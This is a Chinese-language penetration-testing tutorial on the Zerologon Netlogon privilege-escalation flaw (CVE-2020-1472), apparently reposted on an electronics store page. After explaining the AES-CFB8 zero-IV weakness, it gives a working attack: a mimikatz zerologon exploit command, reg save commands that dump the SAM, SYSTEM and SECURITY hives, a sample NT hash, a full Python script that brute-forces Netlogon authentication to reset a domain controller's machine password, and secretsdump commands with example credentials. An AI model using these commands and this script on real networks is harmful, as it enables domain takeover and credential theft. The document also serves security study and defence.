资讯详情

【域渗透提权】CVE-2020-1472 NetLogon 权限提升漏洞

文章目录

  • 声明
  • 一、漏洞概述
  • 二、漏洞简介
  • 三、影响范围
  • 四、漏洞原理
  • 五、实战攻击测试
    • POC/EXP攻击、Impacket工具包
    • 使用 Mimikatz 攻击测试
  • 六、恢复用户哈希
    • 哈希
    • 恢复原始哈希的域控
  • 七、深入分析漏洞


声明

本文仅用于技术研究和学习,不要使用本文中提到的手段非法渗透攻击,造成任何后果与作者无关,请记住!


一、漏洞概述

CVE-2020-1472 NetLogon 增加漏洞的权限原因是未经认证的攻击者可以使用NetLogon 远程协议(MS-NRPC)连接域控制器利用此漏洞。成功利用此漏洞的攻击者可获得域管理员的访问权限。

Netlogon 在活动目录中,这是一项更重要的服务,在活动目录中 DC 运行在域成员服务器上,为域身份验证提供重要服务。


二、漏洞简介

CVE-2020-1472 是一个Windows 域控中严重的远程权限提升漏洞。因为微软在Netlogon 加密算法引起的漏洞在协议中没有正确使用。因为微软在做 AES 在加密操作过程中使用 AES-CFB8 模式错误 IV 设置为全零,使攻击者在明文中(client challenge)、IV 当元素可控时,产生密文的概率较高,为全零。


三、影响范围

  • Windows Server 2008 R2 for x64 -based Systems Service Pack 1

  • Windows Server 2008 R2 for x64 -based Systems Service Pack 1 (Server Core installation)

  • Windows Server 2012

  • Windows Server 2012 (Server Core installation)

  • Windows Server 2012 R2

  • Windows Server 2012 R2 (Server Core installation)

  • Windows Server 2016

  • Windows Server 2016 (Server Core installation)

  • Windows Server 2019

  • Windows Server 2019 (Server Core installation)

  • Windows Server, version 1903 (Server Core installation)

  • Windows Server, version 1909 (Server Core installation)

  • Windows Server, version 2004 (Server Core installation)

四、漏洞原理

Netlogon 协议是微软提供的一套域访问认证协议,不同于大部分rpc 该协议不使用典型的微软认证方法,如服务 NTLM\Kerberos,本协议的通信流程如下: 在这里插入图片描述 如上图所示,攻击者可控因素有 client challenge,攻击者将其设置为全部 0, server challenge 在每一轮认证过程中,secret 对应用户密码hash,Encrypt 采用的过程是AES-CFB其操作流程如下: 如上图所示,黄色部分为IV,将微软错误设置为全部 0实际上是为了保证AES 该算法的可靠性应随机生成,黄色部分后面的蓝色部分为明文,对应 client challenge,内容攻击者可控,设置为全部 0, AES 使用的 key 是将 secret、challenges 计算后获得的值,即, key 每一轮server challenge 如果变化发生变化,如果IV 和 client challenge 为全 0 然后整个AES 如下图所示: 如上图所示,在第一轮 AES 在操作过程中,密文(黑色部分)的第一个字节是 0 的概率是 因为一个字节有1/256 8 位,全为 0 概率为1/256,那么这个运算得到的密文的第一个字节 0x0 和 IV 以及后面全 0 的client challenge 计算后获得的新一轮明文仍然是全部 0,同样进行 AES 因为第二轮运算是明确的 密钥和第一轮一样,所以这一轮产生的第一个字节也是一样的 0,接下来几轮计算原理以此类推,因此,每个连接都是由每个连接引起的 1/256 概率产生全 0 最理想的情况是256 一定能完成碰撞。因此 Client challenge 设置全 0 之后,客户端凭证(8 字节)通过验证的概率从 1/2^64 提高到了 1/256。

通过上述碰撞方法,攻击者完成了域身份认证,并在下一个攻击过程中使用类似的方法 bypass 了对 call 对域控密码相关调用修改域控密码。值得注意的是,在整个碰撞过程中 session key 总是未知的,攻击者可以通过 NetrServerAuthenticate3 设置合适的 flag 不使用剩余的通信过程 session key 进行加密。

一言以蔽之,Netlogon 协议身份认证采用挑战响应机制,加密算法是 AES-CFB8,并且 IV 默认为零,导致漏洞。由于认证次数没有限制,签名功能客户默认可选,使漏洞顺利使用。

五、实战攻击测试

POC/EXP攻击、Impacket工具包

:https://github.com/SecuraBV/CVE-2020-1472

使用 Mimikatz 攻击测试

lsadump::zerologon /target:WIN******.yukong.com /ntlm /null /account:WIN******$ /exploit

lsadump::zerologon /target:域控ip /ntlm /null /account:WIN-******$ /exploit

六、恢复用户哈希

哈希

reg save HKLM\SYSTEM system.save reg save HKLM\SAM sam.save reg save HKLM\SECURITY security.save

lget system.save lget sam.save lget security.save

del /f system.save del /f sam.save del /f security.save

aad3b435b51404eeaad3b435b51404ee:db164eba92deea12ac1ece6e04a510a6

恢复域控原始哈希

reinstall_original_pw.py

#!/usr/bin/env python3

from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5 import transport
from impacket import crypto
from impacket.dcerpc.v5.ndr import NDRCALL
import impacket

import hmac, hashlib, struct, sys, socket, time
from binascii import hexlify, unhexlify
from subprocess import check_call
from Cryptodome.Cipher import DES, AES, ARC4
from struct import pack, unpack

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be neccessary on average.
MAX_ATTEMPTS = 2000 # False negative chance: 0.04%


class NetrServerPasswordSet(nrpc.NDRCALL):
    opnum = 6
    structure = (
        ('PrimaryName',nrpc.PLOGONSRV_HANDLE),
        ('AccountName',nrpc.WSTR),
        ('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
        ('ComputerName',nrpc.WSTR),
        ('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
        ('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
    )

class NetrServerPasswordSetResponse(nrpc.NDRCALL):
    structure = (
        ('ReturnAuthenticator',nrpc.NETLOGON_AUTHENTICATOR),
        ('ErrorCode',nrpc.NTSTATUS),
    )

def fail(msg):
  print(msg, file=sys.stderr)
  print('This might have been caused by invalid arguments or network issues.', file=sys.stderr)
  sys.exit(2)

def try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw):
  # Connect to the DC's Netlogon service.
  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
  rpc_con.connect()
  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

  plaintext = b'\x00'*8
  ciphertext = b'\x00'*8
  flags = 0x212fffff

  # Send challenge and authentication request.
  serverChallengeResp = nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
  serverChallenge = serverChallengeResp['ServerChallenge']
  try:
    server_auth = nrpc.hNetrServerAuthenticate3(
      rpc_con, dc_handle + '\x00', target_computer+"$\x00", nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
      target_computer + '\x00', ciphertext, flags
    )


    # It worked!
    assert server_auth['ErrorCode'] == 0
    print()
    server_auth.dump()
    print("server challenge", serverChallenge)
    sessionKey = nrpc.ComputeSessionKeyAES(None,b'\x00'*8, serverChallenge, unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0"))
    print("session key", sessionKey)

    try:
      IV=b'\x00'*16
      #Crypt1 = AES.new(sessionKey, AES.MODE_CFB, IV)
      #serverCred = Crypt1.encrypt(serverChallenge)
      #print("server cred", serverCred)
      #clientCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
      #clientCred = clientCrypt.encrypt(b'\x00'*8)
      #print("client cred", clientCred)
      #timestamp_var = 10
      #clientStoredCred =  pack('<Q', unpack('<Q', b'\x00'*8)[0] + timestamp_var)
      #print("client stored cred", clientStoredCred)
      authenticator = nrpc.NETLOGON_AUTHENTICATOR()
      #authenticatorCrypt = AES.new(sessionKey, AES.MODE_CFB, IV)
      #authenticatorCred = authenticatorCrypt.encrypt(clientStoredCred);
      #print("authenticator cred", authenticatorCred)
      authenticator['Credential'] = ciphertext #authenticatorCred
      authenticator['Timestamp'] = b"\x00" * 4 #0 # timestamp_var
      #request = nrpc.NetrLogonGetCapabilities()
      #request['ServerName'] = '\x00'*20
      #request['ComputerName'] = target_computer + '\x00'
      #request['Authenticator'] = authenticator
      #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
      #request['ReturnAuthenticator']['Timestamp'] = 0 
      #request['QueryLevel'] = 1
      #resp = rpc_con.request(request)
      #resp.dump()

      nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse
      nrpc.OPNUMS[6] = (NetrServerPasswordSet, nrpc.NetrServerPasswordSetResponse)

      request = NetrServerPasswordSet()
      request['PrimaryName'] = NULL
      request['AccountName'] = target_computer + '$\x00'
      request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
      request['ComputerName'] = target_computer + '\x00'
      request["Authenticator"] = authenticator
      #request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
      #request['ReturnAuthenticator']['Timestamp'] = 0
      pwdata = impacket.crypto.SamEncryptNTLMHash(unhexlify(originalpw), sessionKey)
      request["UasNewPassword"] = pwdata
      resp = rpc_con.request(request)
      resp.dump()

      #request['PrimaryName'] = NULL
      #request['ComputerName'] = target_computer + '\x00'
      #request['OpaqueBuffer'] = b'HOLABETOCOMOANDAS\x00'
      #request['OpaqueBufferSize'] = len(b'HOLABETOCOMOANDAS\x00')
      #resp = rpc_con.request(request)
      #resp.dump()      
    except Exception as e:
      print(e)
    return rpc_con

  except nrpc.DCERPCSessionError as ex:
    #print(ex)
    # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
    if ex.get_error_code() == 0xc0000022:
      return None
    else:
      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')
  except BaseException as ex:
    fail(f'Unexpected error: {ex}.')


def perform_attack(dc_handle, dc_ip, target_computer, originalpw):
  # Keep authenticating until succesfull. Expected average number of attempts needed: 256.
  print('Performing authentication attempts...')
  rpc_con = None
  for attempt in range(0, MAX_ATTEMPTS):  
    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer, originalpw)

    if rpc_con == None:
      print('=', end='', flush=True)
    else:
      break

  if rpc_con:
    print('\nSuccess! DC machine account should be restored to it\'s original value. You might want to secretsdump again to check.')
  else:
    print('\nAttack failed. Target is probably patched.')
    sys.exit(1)


if __name__ == '__main__':
  if not (4 <= len(sys.argv) <= 5):
    print('Usage: reinstall_original_pw.py <dc-name> <dc-ip> <hexlified original nthash>\n')
    print('Reinstalls a particular machine hash for the machine account on the target DC. Assumes the machine password has previously been reset to the empty string')
    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
    sys.exit(1)
  else:
    [_, dc_name, dc_ip, originalpw] = sys.argv

    dc_name = dc_name.rstrip('$')
    perform_attack('\\\\' + dc_name, dc_ip, dc_name, originalpw)

python3 reinstall_original_pw.py WIN-AGG5T066NRG$ 192.168.1.158 db164eba92deea12ac1ece6e04a510a6

secretsdump.py yukong.com/administrator:Admin@123@192.168.1.158 -just-dc-user "WIN-AGG5T066NRG$"

七、漏洞深层剖析

: https://mp.weixin.qq.com/s/CBMchx7hLO8YovcEnWM2IQ

标签: 1903连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台